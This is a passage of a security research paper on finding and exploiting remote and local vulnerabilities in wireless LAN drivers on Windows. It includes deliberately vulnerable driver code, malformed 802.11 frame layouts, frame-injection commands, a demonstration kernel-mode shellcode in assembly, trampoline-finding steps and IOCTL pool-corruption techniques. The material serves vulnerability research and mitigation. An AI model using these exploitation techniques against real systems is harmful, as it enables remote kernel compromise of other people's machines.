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Abstract. During 2006 vulnerabilities in wireless LAN drivers gained an in-
creasing attention in security community. One can explain this by the fact thatany
hacker can take control over every vulnerable laptop without having any ”visible”
connection with those laptops and execute a malicious code in kernel.
This work describes the process behind hunting remote and local vulnerabilities
in wireless LAN drivers as well as in other types of network drivers. The first part
of the work describes simple and much more advanced examples of remote exe-
cution vulnerabilities in wireless device drivers that should be consideredduring
vulnerabilities search. We demonstrate an example design of kernel-mode pay-
load and construct a simple wireless frames fuzzer. The second partof the work
explains local privilege escalation vulnerabilities in I/O Control device driver in-
terface on MicrosoftR© WindowsR©, introduces a technique to uncover them. The
third part of the work describes specific examples of local vulnerabilitiesin net-
work drivers that can be exploited remotely and an exploitation technique.In the
last part of the work we present case studies of remote and local vulnerabilities
mitigated in IntelR© CentrinoR© WLAN device drivers.
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1 Introduction

This work describes vulnerabilities in wireless network drivers that can allow
both remote and local arbitrary code execution. It describes several real-world
examples of exploiting device drivers for IntelR© CentrinoR© wireless adapters
on MicrosoftR© WindowsR©. Most of the results of this work relate to vulnera-
bilities in wireless LAN drivers. However, in the conclusion we briefly discuss
vulnerabilities in other types of network drivers.

Here is a brief summary of the paper:

– Section 2 starts with the description of wireless LAN frame format that is
important for identifying vulnerabilities in WLAN drivers and briefly in-
troduces a WLAN environment for vulnerability analysis. Then it describes
simple and more complicated remotely exploitable vulnerabilities, kernel-
mode payload example and demonstrates construction of a simple WLAN
frames fuzzer.

– Section 3 discusses locally exposed privilege escalation vulnerabilities in
common IOCTL driver interface and introducesIOCTLBO driver fuzzing
tool developed to uncover them.

– Section 4 explains specific local vulnerabilities discussed in section 3 in
network drivers remotely and introduces a new technique to exploit them.

– Section 5 describes case studies of vulnerabilities identified and mitigated
in Intel R© CentrinoR© WLAN drivers.

2 Remotely exploitable vulnerabilities

2.1 Wireless LAN frames

Wireless LAN frames always start with a fixed-length 802.11MAC headercon-
taining type and subtype of wireless frame, other Frame Control flags, source,
destination and BSSID MAC addresses and fragment/sequence numbers [2]. In
all examples of vulnerabilities the paper usesManagementframes (type0x0).
One particular example of Management frames is aBeaconframe (subtype
0x1000). Wireless station uses two methods of resolving wireless networks
- activeandpassive scanning. Beacon frames are transmitted by wireless Ac-
cess Points (AP) to advertise their presence and capabilities to wireless stations.
When passively scanning for wireless networks wireless station is listeningfor
Beacon frames as opposed to transmittingProbe Requestmanagement frames
to actively scan for a certain network. Beacon management frames are most
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frequently used to exploit wireless LAN drivers because wireless stationre-
ceives Beacon frames and a malicious payload even while not connected toany
WLAN.

For example, fixed-length 802.11 MAC header of a Beacon management frame
looks as follows:

802.11 MAC Header
Version: 0 [0 Mask 0x03]
Type: 0x00 Management [0]
Subtype: 0x1000 Beacon [0]

Frame Control Flags: 0x00000000 [1]
0... .... Non-strict order
.0.. .... WEP Not Enabled
..0. .... No More Data
...0 .... Power Management - active mode
.... 0... This is not a Re-Transmission
.... .0.. Last or Unfragmented Frame
.... ..0. Not an Exit from the Distribution System
.... ...0 Not to the Distribution System

Duration: 0 Microseconds [2-3]
Destination: FF:FF:FF:FF:FF:FF Ethernet Broadcast [4-9]
Source: 00:xx:xx:xx:xx:xx [10-15]
BSSID: 00:xx:xx:xx:xx:xx [16-21]
Seq. Number: 2570 [22-23 Mask 0xFFF0]
Frag. Number: 0 [22 Mask 0x0F]

802.11 MAC header is followed by a variable lengthFrame bodywhich depends
on type and subtype of the wireless frame. Management frame body contains
mandatory fixed parameters, for example, Capability Information or Authen-
tication Algorithm Number, Association ID, Reason/Status Codes etc. Fixed
parameters are followed by one or more mandatory or optional variable-length
tagged information elements (IE) that can be generally represented by the fol-
lowing structure:

typedef struct
{
UINT8 IE_ID;
UINT8 IE_Length;
UCHAR IE_Data[1];

} IE;

Appendix A provides an example of complete Beacon management frame con-
tainingSSIDandSupported Ratesinformation elements.
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2.2 Remote fuzzing of wireless LAN drivers

These information elements are of a particular interest to the attackers. There
are several reasons for that:

– the length of an information elementLength comes right before its data
in the frame and is used by the driver in element buffer processing. Thus
sending unexpected element length may lead to unpredictable (by the driver)
behavior;

– information elements can contain up to0xff bytes allowing to place shell-
code in there.

– a wireless LAN frame contains multiple such information elements allowing
to place much larger shellcode.

Let’s take a look at the following two examples of modified Supported Rates
information element in the Beacon frame. Both of the examples have incorrect
semantics but are perfectly valid in terms of frame format specification.

Example 1:

Supported Rates
Element ID: 1 Supported Rates [39]
Length: 65 [40]
Supported Rate: 1.0 (BSS Basic Rate)
Supported Rate: 2.0 (BSS Basic Rate)
Supported Rate: 5.5 (BSS Basic Rate)

Example 2:

Supported Rates
Element ID: 1 Supported Rates [39]
Length: 9 [40]
Supported Rate: 1.0 (BSS Basic Rate)
Supported Rate: 2.0 (BSS Basic Rate)
Supported Rate: 5.5 (BSS Basic Rate)
Supported Rate: 6.0 (Not BSS Basic Rate)
Supported Rate: 9.0 (Not BSS Basic Rate)
Supported Rate: 11.0 (BSS Basic Rate)
Supported Rate: 12.0 (Not BSS Basic Rate)
Supported Rate: 18.0 (Not BSS Basic Rate)
Supported Rate: 18.0 (Not BSS Basic Rate)

Both of the examples can cause an overflow if the driver doesn’t handleSup-
ported Rates correctly, for example fail this frame. NoteLength of Supported
Rates element. The first example hasLength significantly exceeding the actual
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length of the element, the second example hasLength corresponding to the ac-
tual size of the element but exceeding the maximum size that the element can
have. Supported Rates element according to the specification can contain up to
NDIS_802_11_LENGTH_RATES (8) bytes as defined inntddndis.h. A
simple example of the vulnerability that the driver may have is readingLength
byte of Supported Rates element and copying the nextLength bytes into a 8-
byte buffer on the stack.

A complete code of a simple fuzzer for a Supported Rates tagged element within
Beacon management frame is demonstrated in Appendix B.

2.3 More advanced remote vulnerabilities

The previous section of the paper described simple wireless LAN driversvul-
nerabilities. It considered only SSID and Supported Rates elements as targets
for placing shellcode inside a Beacon frame. These are the most obvious ways
to exploit a vulnerability in wireless driver and are therefore the first targets used
by attackers. Vulnerabilities also exist in driver code that parses and processes
other types of frames and information elements.

For example consider Association Response frames that are sent by wireless
access point to station in response to Association Request frame requesting as-
sociation with this AP. When exploiting the driver using Beacon or Probe Re-
sponse frames the attacker typically needs to send tens or hundreds of thousands
of frames with a delay as small as possible to flood corresponding frames from
legitimate access points. Sending lots of malformed frames is obviously sus-
picious and may trigger IDS alert or attract network administrator’s attention.
Aggressive beaconing can also significantly reduce throughoutput of wireless
networks. Whereas only less than a hundred Association Response frames are
enough to flood a single Association Response frame sent by a legitimate access
point to make sure a vulnerable driver receives one malformed frame.

The Association Response frame cannot be injected anytime the attacker wishes.
The attacker must inject these frames when the vulnerable driver has already ex-
changed Authentication frames with some access point and is in authenticated
state. The attacker must send malformed Association Response frames exactly
at the moment when the vulnerable station tries to connect to some AP. The
BSSID (MAC address of access point) of malformed Association Response
frame should also be the same as BSSID of access point that the vulnerable
station tries to associate with. In some cases SSID element should also be the
same.
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According to [2] a management frame of Associated Response subtype can con-
tain only one tagged information element - Supported Rates (0x01). In fact As-
sociation Response frames can also have Extended Supported Rates (0x32) and
a bunch of vendor specific tagged elements that can contain malicious code.Fig-
ure 1 shows the contents of such captured Association Response management
frame.

Fig. 1.Sample association response management frame

What if the attacker sends a malicious payload within a tagged element that the
management frame doesn’t actually support? Surprisingly, wireless firmware
and a device driver may allow management frames to contain other tagged in-
formation elements invalid for this frame type and subtype. For example, As-
sociation Response frames may contain SSID (0x0) that is not allowed by the
specification.

Previously the payload occupied a single information element of a frame. It
limits the length of the payload by0xff bytes which in some cases may not be
enough. Consider the following hypothetical vulnerability that allows injection
of a larger payload.
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#define TOTAL_IES_LEN 512
typedef struct _IES
{

UINT16 len;
UINT8 totalIEs[ TOTAL_IES_LEN ];

} IES, *PIES;

WIFI_STATUS parseManagementFrameIEs
( PIES pIEs, VOID* pFrame, UINT16 uFrameLen )

{
..

switch( type_subtype )
{

case BEACON:
case PROBE_RESPONSE:
case ASSOCIATION_RESPONSE:

{
pIEs->len = uFrameLen - sizeof(ASSOCIATION_RESPONSE_HDR);
NdisMoveMemory( pIEs->totalIEs, pFrame, pIEs->len );

}
}

..
}

The above vulnerable wireless driver code parses management frame and copies
all information elements into internal buffer without checking the total length
of all information elements after subtracting the fixed length of Association Re-
sponse frame header (forget about underflow for now ;). This buffer overflow
vulnerability allows an attacker to distribute shellcode over several informa-
tion elements to inject a larger payload. Appending a shellcode longer than
512 bytes to fixed Association Response frame header or placing parts ofthe
shellcode into several information elements (e.g. in SSID, Supported Rates and
Extended Supported Rates) allows an attacker to inject a payload of almost ar-
bitrary length.

Obviously wireless LAN fuzzer should support injection of the following pa-
rameters of malformed frames:

– arbitrary large garbage appended to the fixed frame header;

– the total length of all information elements.

So far the paper considered information elements independent of each other, i.e.
vulnerability in the driver code parsing a certain information elements depends
solely upon the length and contents of this element. However this may not be
the case for all vulnerabilities. The paper next will describe two hypothetical
vulnerabilities triggered by a combination of more that one information element.
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Consider a Beacon frame containing Supported Rates and Extended Supported
Rates tagged elements. Wireless driver stores connection information retrieved
from parsed management frames into the following internal structure:

typedef struct _AP_INFO
{
..
NDIS_802_11_SSID ssid;
UCHAR rates_count;
NDIS_802_11_RATES_EX rates;
..

}
AP_INFO, *PAP_INFO;

Both rates and extended rates are stored inrates array defined in ntddndis.h.
It can contain up to 16 (NDIS_802_11_LENGTH_RATES_EX) bytes. The
following driver code parses management frame elements into theAP_INFO
structure:

AP_INFO apInfo;
..
PAP_INFO pAPInfo = &apInfo;
while( .. )
{

..
ie_id = ((UINT8 *)pFrame)++;
ie_len = ((UINT8 *)pFrame)++;

switch( ie_id )
{
case IE_TAG_SSID:
{

pAPInfo->Ssid.SsidLength = ie_len;
NdisMoveMemory( (PVOID)pAPInfo->Ssid.Ssid, pFrame, ie_len );
pFrame += ie_len;
break;

}
case IE_TAG_RATES:
{

pAPInfo->rates_count = ie_len;
NdisMoveMemory( (PVOID)(&pAPInfo->rates),

pFrame,
min( ie_len, NDIS_802_11_LENGTH_RATES_EX ) );

pFrame += ie_len;
break;

}
..
case IE_TAG_EXTENDED_RATES:
{

NdisMoveMemory( (PVOID)(&pAPInfo->rates[ pAPInfo->rates_count ]),
pFrame,
min( ie_len, NDIS_802_11_LENGTH_RATES_EX -

pAPInfo->rates_count ) );
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pAPInfo->rates_count += ie_len;
pFrame += ie_len;
break;
}

}
}

Note that the code attempts to avoid stack overflows usingmin. Indeed, it’s
not possible to overflowrates buffer by sending either long Supported Rates
or long Extended Supported Rates element as the code will copy only up to
NDIS_802_11_LENGTH_RATES_EX bytes of the element contents. Despite
the length of copied contents is limited by the size of the destination buffer the
rates_count member of the structure is set to the actual length of the ele-
ment sent within the management frame, i.e. up to0xff. There’s also an integer
underflow inIE_TAG_EXTENDED_RATES case which allows copying nega-
tive number of bytes of Extended Supported Rates element ifrates_count
exceeds 16.

Fig. 2. Malformed Beacon frame with both supported rates and extended sup-
ported rates elements containing a shellcode
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So let’s craft the frame (see Figure2) that sends a payload within Extended Sup-
ported Rates element preceded by Supported Rates element exceeding 16bytes
(NDIS_802_11_LENGTH_RATES_EX). Supported Rates element is 17 bytes
long in this example. After parsing Supported Ratesrates_count internal
variable is set to 17. After that the driver reached Extended SupportedRates
element andNdisMoveMemory will try to copy the least betweenie_len
andNDIS_802_11_LENGTH_RATES_EX - pAPInfo->rates_count
bytes, i.e. -1 bytes, into the stack bufferrates.NdisMoveMemory is a macro
to memcpy and takessize_t length argument. Guess what we will get on a
target system.

Using more than one information element of a wireless frame to contain shell-
code was also used in BroadcomR© exploit described by Johnny Cache, H D
Moore and Matt Miller in [3].

In the previous example we have seen that the vulnerability may depend on the
length and order of two or more IEs in the frame. The next example shows that
successful exploitation of the vulnerability may depend on the contents of the
specific IE. The example uses the same code snippet. The reader might have
noticed that the above code contains another vulnerability due to unchecked
NdisMoveMemory call in theIE_TAG_SSID case. To exploit it the attacker
would have needed to send oversized SSID element. However, the SSID element
length is limited by 255 bytes and theapInfo structure (ssid buffer to be
more precise) can reside way below EBP (e.g. atebp-0x100). In this case
writing up to 255 bytes of SSID into the buffer will not overwrite the saved
EIP and EBP registers. Despite this “inconvenience”, the attacker can overwrite
rates_count member ofapInfo structure by sending SSID longer than 32
bytes. The attacker may send a 33-byte long SSID with the last byte greater than
16 followed by Extended Supported Rates element containing kernel payload.
As in the previous example, overwritingrates_count with the value greater
than 16 will cause the driver to copy -1 bytes intorates stack buffer.

2.4 Wireless LAN exploitation environment

To identify vulnerabilities remotely in wireless LAN drivers or firmware typi-
cally three systems should be configured.

1. A victim system with a wireless adapter and installed driver for wireless
adapter under investigation. As we are going to search for kernel-mode vul-
nerabilities in victim WLAN driver we need to have a kernel-mode debug-
ger and symbols for the victim driver. On Windows XP operating system the
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choice is between Microsoft WinDbg (orkd) or SoftICE from Compuware
DriverStudio [2].

2. A system running a fuzzer to inject wireless frames. A convenient wayis to
boot this system from one of pentesting linux LiveCD distributions such as
BackTrack 2.0 [1] or Auditor that have wireless drivers patched for injec-
tion. Frame injection and fuzzing can be done by home-brew raw-injection
fuzzer shown in in Appendix A, simplefile2air utility written by Joshua
Wright injecting frames usingmadwifi driver patched for injection, LOR-
CON [3] or a wireless Metasploit 3.0 extensions that also integrates with
LORCON library but adds Metasploit wrapper in Ruby [5] or Scapy [7].
Below is an example of using simplefile2air tool to send 100 frames
from assocresp_exrates.bin file with 1500 usecs delay:

# ./file2air -i ath0 -r madwifi -n 100 -w u1500
-d 00:xx:xx:xx:xx:xx
-b 00:xx:xx:xx:xx:xx
-s 00:xx:xx:xx:xx:xx
-f ./assocresp_exrates.bin

ath0 interface is configured for injection at the same channel as the victim
adapter in Monitor only mode:

# vi ./ath_setup.sh

ifconfig ath0 up
iwconfig ath0 mode monitor channel 11
iwpriv ath0 mode 2

To use raw injection device with Prism headers older version ofmadwifi
driver should be configured to createath0raw interface for injection. The
following lines should be added to interface setup script:

sysctl -w dev.ath0.rawdev=1
ifconfig ath0raw up

madwifi-ng (included with BackTrack 2 final, for example) doesn’t sup-
port rawdev sysctl therefore to enable raw injection use the following
setup:

#!/bin/sh
wlanconfig ath3 create wlandev wifi0 wlanmode monitor
ifconfig ath3 up
iwconfig ath3 mode monitor channel 6
iwpriv ath3 mode 2

Instead ofath3 any non-existing interface name can be used.
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3. A system configured as a sniffer to capture wireless frames. WireShark (for-
mer Ethereal) [6] can be used for capturing frames. While injecting frames
into the vulnerable driver it’s very easy to sink in a flood of hundreds of
thousands of wireless frames from surrounding stations and access points.
WireShark provides a convenient way to filter specific frames. Below is an
example of a filter for Beacon frames targeting only vulnerable station out
of all sniffed packets:
wlan.fc.type_subtype==8 && wlan.da==00:13:13:13:13:13

The first condition filters only Beacon frames and the second filters frames
having destination MAC address of the target vulnerable station. The fol-
lowing example filters only Association Request and Response frames:
wlan.fc.type_subtype==0 || wlan.fc.type_subtype==1

Note that instead of two different systems, a single system with two WLAN
cards can be configured to both inject and sniff wireless LAN frames. Anexcel-
lent guide to WLAN environment setup is given by David Maynor [4].

3 Execution of kernel-mode payload

To have a complete picture of remote exploitation of vulnerabilities in wire-
less drivers a simple payload will be used. Note that exploiting vulnerabilities
in device drivers requires designing kernel mode shellcode which significantly
differs from user mode shellcode.

For demonstration only purpose the kernel payload uses hardcoded addresses of
ntoskrnl on Windows XP SP2 with turned off hardware DEP (\noexecute=AlwaysOff).
To make payload more Windows version independent one should resolventoskrnl
image base and addresses of required functions. Image base is resolved by call-
ing SIDT instruction to get IDTR, using vectors in Interrupt Descriptor Table
(IDT) that point to ISRs inntoskrnl, scanning lower addresses for “MZ”
signature to get image base and then parsing export table to resolve function
addresses. This method is described by Jack Barnaby in [5].

Following logical decomposition of kernel mode payload described in [6] pay-
load execution can be represented by the following stages.

Migration. Most of NDIS miniport functions are running atDISPATCH_LEVEL
IRQL includingMiniportQueryInformation andMiniportSetInformation
servicing OID requests. Therefore, payload needs to drop its IRQL to aPASSIVE_LEVEL
using a call tontoskrnl!KeLowerIrql routine to unmask dispatch level
interrupts allowing thread scheduler to run and schedule the next contextswitch.
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Otherwise, the thread executing the payload is not subject to preemtion and re-
covery stage of the payload will freeze the system.

; --[-------------------------------------------------------
; --[ Lower IRQL to PASSIVE_LEVEL
; --[-------------------------------------------------------

; -- call ntoskrnl!KeLowerIrql( PASSIVE_LEVEL );
xor cl, cl
mov eax, 0x80547a65
call eax

This demo payload does not use Stagercomponent to relocate its core func-
tionality. The payload is entirely executed from the stack in the context of ex-
ploited thread. The payload should do something useful to demonstrate that the
vulnerability is exploitable. For example, usentoskrnl!Inbv* boot video
driver native API functions to reset screen on the exploited system anddisplay
“0WN3D” string on it. Again hardcoded addresses are used for simplicity.

; --[-------------------------------------------------------
; --[ Acquire access to display
; --[ Reset display
; --[ Print string on the display
; --[-------------------------------------------------------

; -- call ntoskrnl!InbvAcquireDisplayOwnership
mov eax, 0x8052d0d3
call eax

; -- call ntoskrnl!InbvResetDisplay
push 0x0
mov eax, 0x8052cf05
call eax

; -- call ntoskrnl!InbvDisplayString
lea eax, [esp+0x3d]
push eax
mov eax, 0x8050b3b0
call eax

Recovery. After executing the payload should not crash the system otherwise
all results may be lost. It’s a complicated task for an attacker to reconstruct
corrupted stack after shellcode completed execution. Due to this reason kernel
payload needs to either stop/suspend execution of a current driver thread or to
execute forever and make sure that other threads can also execute andthe system
doesn’t hang. Below is an example of recovering from kernel mode payload by
yielding thread’s execution to other system and user threads in a loop usingna-
tive ntoskrnl functionZwYieldExecution. This technique prevents the sys-
tem from freezing and discussed in [5]. Other recovery techniques are discussed
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in [6]. While yielding execution shellcode outputs “0WN3D” to debugger using
DbgPrint routine.

; --[-------------------------------------------------------
; --[ Yield execution in a loop to avoid freezing the system
; --[ Print smth in a loop
; --[-------------------------------------------------------

; -- ntoskrnl!DbgPrint("0WN3D");
yield_loop:
lea eax, [esp+0x3d]
push eax
mov eax, 0x80502829
call eax
add esp, 4

; -- call ntoskrnl!ZwYieldExecution
mov eax, 0x804ddc74
call eax
jmp yield_loop

Finding a trampoline opcodes such asjmp esp,call esp orpush esp - ret
is easy with eitherfindjmp2 [9] or any other similar utility. Here’s an example
of usingfindopcodes:

findopcodes ntoskrnl.exe ffd4
findopcodes v0.1 - searches a binary for a sequence of opcodes (in hex)
(c) 2006 c7zero, play nice..

[findopcodes] searching "ntoskrnl.exe" for opcodes \xff\xd4
2180096B read from file: "ntoskrnl.exe"
found @ off: 0x0000de27
found @ off: 0x00013403
found @ off: 0x0001a507
found @ off: 0x0001d9eb
found @ off: 0x00029f7f
found @ off: 0x001c95db
found @ off: 0x001f1858
[findopcodes] found 7 occurrences

Then one needs to addnt’s image base to found offset to get the address.
Launching LiveKd [10]:

kd> lm m nt
start end module name
804d7000 806eb400 nt (pdb symbols) c:\Symbols\ntoskrnl.pdb

For example the address ofjmp esp is 0x0000de27 + 0x804d7000 = 0x804e4e27.
One can directly search for suitable trampoline opcodes using any kerneldebug-
ger.
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In SoftICE:

: mod ntos*
hMod Base PEHeader Module Name File Name

804D7000 804D70E8 ntoskrnl \WINNT\System32\ntoskrnl.exe
: S 804D7000 L ffffff ff,d4
Pattern found at 0010:804E4E27 (0000DE27)
: S 804D7000 L ffffff ff,e4
Pattern found at 0010:804E91D3 (000121D3)

Or in KD:

kd> s nt L200000 54 c3
8064163d 54 c3 04 89 95 80 fd ff-ff 8b 04 81 89 85 5c fd T.............\.
806b8d00 54 c3 75 bc 9d 1d d1 65-c0 dd ce 63 54 c4 13 c7 T.u....e...cT...
kd> u 8064163d
nt!WmipQuerySingleMultiple+0x132:
8064163d 54 push esp
8064163e c3 ret

4 Local privilege escalation vulnerabilities

4.1 Exploiting I/O Control codes

I/O Control Codes (IOCTLs) are used for communication between user-mode
applications and drivers, or for communication internally among drivers in a
stack. I/O control codes are sent using IRPs.

User-mode applications send IOCTLs to drivers by calling DeviceIoControl,
which is described in Platform SDK documentation. Calls to DeviceIoControl
cause the I/O Manager to create an IRP with IRPMJ DEVICE CONTROL ma-
jor I/O function and pass it down to the device driver.[9]

Windows driver architecture defines a common communication interface be-
tween device drivers and upper-level protocol drivers and user-mode applica-
tions which is more interesting1. IOCTLs can be public, i.e. common for all
drivers or a specific type of drivers, or private, i.e. defined by driver vendor. Im-
portant property of IOCTLs is that they define a method that will be used by
I/O Manager to transfer request data from user-application to device driver and
return data back to the application. The two least significant bits of IOCTL code
value defines eitherBuffered I/O, Direct I/O or Neither I/Otransfer method.

WhenBuffered I/Otransfer method is defined by IOCTL inIRP_MJ_DEVICE_CONTROL
request, the I/O Manager copies contents from input user-mode bufferto a sys-
tem buffer allocated from kernel Non-paged pool. The system bufferis used for

1 Similar communication interface exists on other OSes
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transferring input from application to the driver and output from the driver to ap-
plication. As a result the size of this input/output system buffer is the larger of
the sizes of input and output buffers. I/O Manager provides access tothe system
buffer in the IRP to the driver inIrp->AssociatedIrp.SystemBuffer.
The driver supplies output data by overwriting input data in the system buffer af-
ter it completes processing request. I/O Manager copies contents of the system
buffer back to application user-mode output buffer. While processing IRP de-
vice driver may copy data to one or more internal buffers allocated from kernel
pool or stack. Buffered I/O method is described in the following figure:

User-mode application I/O Manager Device driver
-> IOCTL -> -> IRP ->

------------
|in ring3 buf|
------------

| ----------------- ---------------
--------------> | SystemBuffer | ----> | internal |
<-------------- | Kernel NP Pool | <---- | driver buf(s) |
| ----------------- ---------------

------------- len=max(in_len,out_len)
|out ring3 buf|
-------------

A vulnerable device driver may corrupt either some of its internal buffers or
system buffer allocated by I/O Manager. To encounter vulnerability that cor-
rupts internal buffers an attacker will have to send correct I/O Controlcode of
IRP_MJ_DEVICE_CONTROL major function.

Despite Windows Network Driver Interface Specification (NDIS) architecture
allows defining custom IOCTLs standard IOCTLs are also defined to set or
query capabilities or statistics of NDIS miniport drivers:

IOCTL_NDIS_QUERY_SELECTED_STATS
IOCTL_NDIS_QUERY_GLOBAL_STATS

Each object is represented by an object identifier (OID) in NDIS MIB database.
To trigger the vulnerability the attacker needs to pass OID along with IOCTL
code. As invalid OIDs are caught by device drivers relatively early during re-
quest processing it may seem that only valid OIDs may contain vulnerabilities.
However, the following example demonstrates that even invalid OIDs can be
exploited to get kernel level privileges. A device driver may overflow system
buffer when copying contents back to it after processing request andfailing to
properly verify the length of system buffer. Consider the following code:

// -- pIn and pOut point to I/O Manager SystemBuffer in Buffered I/O
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pin_query_buf = (PQUERY_IN)pIn;
pout_query_buf = (PQUERY_OUT)pOut;
oid = pInBuf->OID;

// -- copy input buffer to internal driver buffer
NdisMoveMemory( &buf, &pin_query_buf->request, in_len - sizeof(oid) );

// -- queryOID doesn’t change contents of buf if OID is invalid
queryOID( oid, &buf, out_len );

In this example device driver copies arbitrary length SystemBuffer into an inter-
nal bufferbuf without checking its size which obviously leads to overflow of
buf. The OID doesn’t have to be valid as it’s verified inqueryOID function.

Another type of IOCTL vulnerability specific to Buffered I/O method can allow
an attacker to exploit corrupted system buffer allocated by I/O Manager from
non-paged kernel pool is described in the advisory [11]. Consider the following
source code of the same driver function. As opposed to the previous example
there is a check implemented to verify that input data isn’t larger than a driver
internal buffer.

typedef struct _QUERY_IN
{
DWORD oid;
UCHAR request[];

} QUERY_IN, *PQUERY_IN;
typedef struct _QUERY_OUT

{
DWORD oid;
DWORD status;
UCHAR response[];

} QUERY_OUT, *PQUERY_OUT;
..
// -- pIn and pOut point to I/O Manager SystemBuffer in Buffered I/O
pin_query_buf = (PQUERY_IN)pIn;
pout_query_buf = (PQUERY_OUT)pOut;
oid = pin_query_buf->OID;

// -- check for internal buf overflows
if( in_len < sizeof(oid) || in_len > sizeof(buf) )

return STATUS_INVALID_INPUT;

// -- copy input buffer to internal driver buffer
NdisMoveMemory( &buf, &pin_query_buf->request, in_len );

// -- queryOID doesn’t change contents of buf if OID is invalid
queryOID( oid, &buf, out_len );

// -- copy contents of internal driver buffer back to SystemBuffer
NdisMoveMemory( &pout_query_buf->response, &buf, out_len );
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The above code assumes first 4 bytes of input data in SystemBuffer is OIDfol-
lowed by request data. Note that before callingqueryOID the function copies
in_len bytes ofrequest data to the internal buffer starting with the 5th byte.
It therefore copies a first dword of an adjacent pool chunk headeralong with
the real request data. Since OID is invalid thenqueryOID function leaves con-
tents ofbuf untouched. The secondNdisMoveMemory call copiesout_len
bytes ofbuf buffer back to SystemBuffer but again starting withresponse
offset, 9th byte of SystemBuffer. As a result two DWORDs of a chunk adja-
cent to SystemBuffer are overwritten. Finally a SystemBuffer pool chunk(first
2 DWORDs is a pool chunk header at address 0x88b87dd8) and overwritten
header of adjacent pool chunk (last 2 DWORDs at address 0x88b87ee0) look as
follows:

kd> !pool 88b87dd8
Pool page 88b87dd8 region is Nonpaged pool
88b87dd0 size: 8 previous size: 20 (Free) File

*88b87dd8 size: 108 previous size: 8 (Allocated) *Io
Pooltag Io : general IO allocations, Binary : nt!io
88b87ee0 is not a valid small pool allocation, checking large pool...
88b87ee0 is freed (or corrupt) pool
Bad previous allocation size @88b87ee0, last size was 21
kd> dc 88b87dd8 l50
88b87dd8 0a210001 20206f49 00000000 00000000 ..!.Io ........
88b87de8 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
..
88b87ed8 61616161 61616161 61616161 0a240021 aaaaaaaaaaaa!.$.

In this example the kernel pool gets corrupted ifout_len >= in_len - 8.
Methods of exploiting Windows kernel non-paged pool corruption vulnerabili-
ties can be found in [7].

If Direct I/O transfer method is used, I/O Manager still allocates a system buffer
from non-paged pool and copies contents from input user-mode buffer into
it. It then passes a pointer to this system buffer containing input data to the
driver in IRP’sIrp->AssociatedIrp.SystemBuffer. But the output
user-mode buffer is transferred differently. Output buffer is described by MDL
structure and the pointer to Memory Descriptor List (MDL) is passed in IRP’s
Irp->MdlAddress. MDL is a structure describing mapping of contiguous
virtual buffer to discontiguous physical pages. I/O Manager creates an MDL de-
scribing virtual addresses of user-mode output buffer and then ensures that cor-
responding physical pages cannot be paged out by callingMmProbeAndLockPages
Memory Manager routine.

Buffer transfer in Direct I/O method is described on the following figure:

User-mode application I/O Manager Device driver
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-> IOCTL -> -> IRP ->

------------ ------------
|in ring3 buf|------------>|SystemBuffer|-->
------------ ------------ |

| ---------------
--- ----->| internal |
|Mdl| <---->| driver buf(s) |
--- | ---------------

------------- MmProbeAndLockPages |
|out ring3 buf|<--------------------------->
-------------

Public NDIS IOCTLs defined to set or query OIDs in fact use Direct I/O transfer
method. IOCTLs are defined usingCTL_CODE macro in ntddk.h. NDIS public
IOCTLs are defined in ntddndis.h2:

#define _NDIS_CONTROL_CODE(request,method) \
CTL_CODE(FILE_DEVICE_PHYSICAL_NETCARD, request, method, FILE_ANY_ACCESS)

#define IOCTL_NDIS_QUERY_GLOBAL_STATS _NDIS_CONTROL_CODE(0, METHOD_OUT_DIRECT)
#define IOCTL_NDIS_QUERY_SELECTED_STATS _NDIS_CONTROL_CODE(3, METHOD_OUT_DIRECT)

OIDs can be general for all NDIS miniport drivers, media-specific or vendor/driver
proprietary. OIDs may also be passed within requests for custom definedIOCTLs.
To retrieve a list of all OIDs supported by NDIS miniport driver a request
IOCTL_NDIS_QUERY_GLOBAL_STATS should be sent withOID_GEN_SUPPORTED_LIST
to the driver (this OID is the same for device drivers operating both connection-
less and connection-oriented network interfaces).

oid = OID_GEN_SUPPORTED_LIST;
DeviceIoControl( hdevice,

IOCTL_NDIS_QUERY_GLOBAL_STATS,
&oid, sizeof(oid),
(LPVOID)supported_oids, sizeof(supported_oids),
&lpBytesReturned, NULL )

Note however that miniport drivers may support other OIDs but not adver-
tise them so thatOID_GEN_SUPPORTED_LIST does not discover them. To
make fuzzing coverage larger one needs to either discover other OIDs sup-
ported by the driver and pass them to the fuzzer or have the fuzzer gener-
ate them. In the absence of source code all supported OIDs can be discov-
ered using IDA Pro [11]. There are typicallyswitch statements in miniport’s

2 For those who are lazy to decode IOCTL codes there is a small handy toolto decode IOCTL
codes, IoctlDecoder [8] or use IOCTL SoftICE command
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MiniportSetInformation andMiniportQueryInformation han-
dlers and their callee functions that are compiled into one or more jump tables.

Figure3 shows disassembly of one of OID jump tables covering general WLAN
OIDs between0x0D010204 (OID_802_11_NETWORK_TYPE_IN_USE) and
0x0D010204 + 13h = 0x0d010217 (OID_802_11_BSSID_LIST). OIDs
that are actually supported by the miniport are those that have indices in jump
table pointing to the code branch other thandefault: case branch as it’s usu-
ally handles invalid OIDs.

Fig. 3.Discovering supported OIDs in NDIS miniport’s binary

Reversing each miniport driver binaries is not always a convenient approach for
automatic OID fuzzing because OID jump tables can exist in many functions.
The fuzzer should have a way to generate non-advertised OIDs other than trying
all possible DWORDs. OID is a DWORD that typically has the following form:

3 2 1 0
| media | S/C | O/M | ID |

Media byte (MSB) represents media-specific mask, e.g.OID_GEN_ (general
NDIS) have MSB = 0x00,0ID_802_3_ (Ethernet) have MSB = 0x01,OID_802_11_
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(WLAN) have MSB = 0x0D etc. Next two bytes represent statistics or config-
uration (S/C), optional or mandatory (O/M) in general NDIS OIDs and almost
always have values 0x1 - 0x3. NDIS miniports may use them as additional inter-
nal mask bytes. ID (LSB) is an identifier of the object represented by this OID
and can have any value up to 0xFF. The only byte that should take all possible
values is ID. Media-specific MSB and internal mask bytes (bytes 1 and 2) can
be heuristically discovered by the fuzzer based on OIDs returned by thedriver
in OID_GEN_SUPPORTED_LIST request.

4.2 Fuzzing Device I/O Control API

Generating OIDs as described in the previous section can be implemented in I/O
Control fuzzer that is designed to test vulnerabilities in NDIS miniport drivers.
It covers device drivers managing NICs for such classes of connectionless and
connection-oriented media as wireless LAN, wireless WAN, Ethernet, TDDI,
Token Ring, Bluetooth, IrDA, ISDN, ATM etc. NDIS miniport drivers canalso
operate over non-NDIS lower edge such as USB or IEEE 1394 (FireWire).

The first step is to identify a target device object. To get a list of all device
